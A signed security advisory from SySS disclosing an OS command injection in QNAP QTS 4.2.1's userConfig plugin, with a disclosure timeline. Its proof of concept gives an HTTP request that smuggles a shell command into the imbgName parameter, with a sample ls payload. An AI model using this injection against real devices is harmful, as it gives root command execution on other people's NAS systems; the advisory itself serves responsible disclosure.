-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2016-052 Product: QNAP QTS Manufacturer: QNAP Affected Version(s): 4.2.1 Build 20160601 Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812 Vulnerability Type: OS Command Injection (CWE-78) Risk Level: High Solution Status: unfixed Manufacturer Notification: 2016-06-06 Solution Date: tbd. Public Disclosure: 2016-08-18 CVE Reference: Not assigned Author of Advisory: Sebastian Nerz (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: QTS is the operating system used by manufacturer QNAP on its series of NAS devices[1]. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH found an os command injection in the userConfig plugin of the current QTS administrative interface. This type of vulnerability allows an attacker to run arbitrary commands on the operating system of the host as root. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): 1. Log in to the QNAP. The user needs no special privileges. 2. Run a request like the following: == POST /cgi-bin/userConfig.cgi?imbgName=a$([command]).jpg&func=uploadBgImg&sid=[sid] HTTP/1.1 Host: [IP of the QNAP]:8080 Content-Type: multipart/form-data;boundary=foo Content-Length: 115 foo Content-Disposition: form-data; name="filename"; filename="foo.jpg" Content-Type: image/jpeg asdf foo-- == 3. The contained command will be exeucted. An example would be $(bash -c '(echo;ls) 1>&2') complete URL: /cgi-bin/userConfig.cgi?imbgName=a$(bash%20-c%20'(echo;ls)%201>%262')Img.jpg&func=uploadBgImg&sid=[sid] which will display the content of the current working directory (/home/httpd/cgi-bin) as content. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The manufacturer has not released any security update or patch so far. Administrators of QNAP QTS 4.2 installations should ensure that only trusted users/administrators have access to the device. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2016-06-06: Vulnerability discovered and reported to manufacturer 2016-06-20: Vulnerability report confirmed by manufacturer 2016-07-06: Manufacturer asked for timeline regarding a fix 2016-07-18: Manufacturer reminded about upcoming public disclosure 2016-08-18: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for QNAP QTS http://www.qnap.com/qts/4.2/en/ [2] SySS Security Advisory SYSS-2016-052 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-052.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: Security vulnerability found by Sebastian Nerz of the SySS GmbH.
